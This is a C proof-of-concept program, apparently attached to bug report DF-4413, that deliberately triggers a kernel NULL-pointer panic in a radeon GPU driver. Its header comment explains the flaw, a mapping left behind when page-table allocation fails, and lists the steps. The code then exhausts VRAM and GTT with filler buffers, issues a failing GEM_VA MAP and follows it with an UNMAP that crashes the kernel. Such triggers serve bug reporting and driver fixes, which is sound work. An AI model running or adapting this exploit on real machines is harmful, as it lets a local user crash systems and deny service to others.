DF-4413 / trigger_nullpt.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* * DF-4413 trigger: radeon_vm_bo_set_addr() commits the mapping (interval tree * + vm->cleared, radeon_vm.c:519-526) BEFORE allocating the page tables * (radeon_vm.c:541-575). If radeon_bo_create()/radeon_vm_clear_bo() fails * mid-loop the function returns the error WITHOUT unwinding the mapping * (radeon_vm.c:554-560). Every subsequent radeon_vm_bo_update() on that * bo_va walks the full [it.start, it.last] range in radeon_vm_update_ptes() * and dereferences the NULL page-table pointer: * * radeon_vm.c:828 struct radeon_bo *pt = vm->page_tables[pt_idx].bo; <- NULL * radeon_vm.c:833 radeon_sync_resv(rdev, &ib->sync, pt->tbo.resv,..) <- panic * * Deterministic follow-up: the very GEM_VA UNMAP that "fixes" the failed * mapping goes through radeon_gem_va_update_vm() -> radeon_vm_clear_freed() * -> radeon_vm_bo_update(NULL) -> boom. * * Recipe: * 1. open /dev/dri/card0 * 2. create small bo (VRAM) * 3. fill VRAM (and GTT) with filler BOs so the 4KB page-table * radeon_bo_create() in set_addr() fails even after TTM eviction * 4. GEM_VA MAP bo at 0x100000 -> returns error, mapping is left behind * 5. GEM_VA UNMAP bo -> NULL-deref kernel panic * * Build: cc -O2 -I/usr/src/sys/dev/drm/include/uapi \ * -o trigger_nullpt trigger_nullpt.c */ #include <errno.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include "radeon_abi.h" static const char *CARD = "/dev/dri/card0"; static int gem_create(int fd, uint64_t size, uint32_t domain, uint32_t *handle) { struct drm_radeon_gem_create gc; int r; memset(&gc, 0, sizeof(gc)); gc.size = size; gc.alignment = 0; gc.initial_domain = domain; gc.flags = 0; r = ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE_, &gc); if (r == 0) *handle = gc.handle; return r; } static int gem_close(int fd, uint32_t handle) { struct drm_gem_close_ gc; memset(&gc, 0, sizeof(gc)); gc.handle = handle; return ioctl(fd, DRM_IOCTL_GEM_CLOSE_, &gc); } static int gem_va(int fd, uint32_t handle, uint64_t offset, uint32_t op, uint32_t *result) { struct drm_radeon_gem_va va; int r; memset(&va, 0, sizeof(va)); va.handle = handle; va.offset = offset; va.flags = RADEON_VM_PAGE_READABLE | RADEON_VM_PAGE_WRITEABLE; va.vm_id = 0; va.operation = op; r = ioctl(fd, DRM_IOCTL_RADEON_GEM_VA_, &va); if (result) *result = va.operation; return r; } int main(void) { uint32_t fillers[8192]; int nfill = 0, fd, i; uint32_t bo = 0; fd = open(CARD, O_RDWR | O_CLOEXEC); if (fd < 0) { printf("open(%s): %s\n", CARD, strerror(errno)); printf("=> no radeon DRM device available; trigger cannot run.\n"); return 2; } /* bo we will (fail to) map */ if (gem_create(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &bo)) { printf("gem_create(bo): %s\n", strerror(errno)); return 2; } /* fill VRAM, then GTT, then keep going (TTM evicts into system * memory; keep pressure until a 4KB VRAM alloc fails) */ for (i = 0; i < (int)(sizeof(fillers) / sizeof(fillers[0])); i++) { uint32_t h; if (gem_create(fd, 64ULL * 1024 * 1024, RADEON_GEM_DOMAIN_VRAM, &h)) break; fillers[nfill++] = h; if ((i % 16) == 0) printf("vram fillers: %d\n", nfill); } for (i = 0; i < (int)(sizeof(fillers) / sizeof(fillers[0])); i++) { uint32_t h; if (gem_create(fd, 64ULL * 1024 * 1024, RADEON_GEM_DOMAIN_GTT, &h)) break; if (nfill < (int)(sizeof(fillers) / sizeof(fillers[0]))) fillers[nfill++] = h; } printf("memory pressure: %d fillers (%d MB)\n", nfill, nfill * 64); /* step 4: MAP at 1MB. set_addr: inserts mapping, then PT alloc fails */ { uint32_t result = 0; int r = gem_va(fd, bo, 0x100000, RADEON_VA_MAP, &result); printf("GEM_VA MAP -> r=%d result=%u (expect r=-1/ENOMEM, " "result=RADEON_VA_RESULT_ERROR but mapping LEFT in vm)\n", r, result); } printf("now UNMAP: radeon_vm_clear_freed() -> radeon_vm_bo_update() " "-> radeon_vm_update_ptes() -> NULL pt deref -> PANIC\n"); fflush(stdout); /* step 5: the panic */ gem_va(fd, bo, 0, RADEON_VA_UNMAP, NULL); printf("UNMAP returned (no panic) -- PT allocation apparently " "succeeded via eviction; increase filler pressure\n"); for (i = 0; i < nfill; i++) gem_close(fd, fillers[i]); gem_close(fd, bo); close(fd); return 1; } |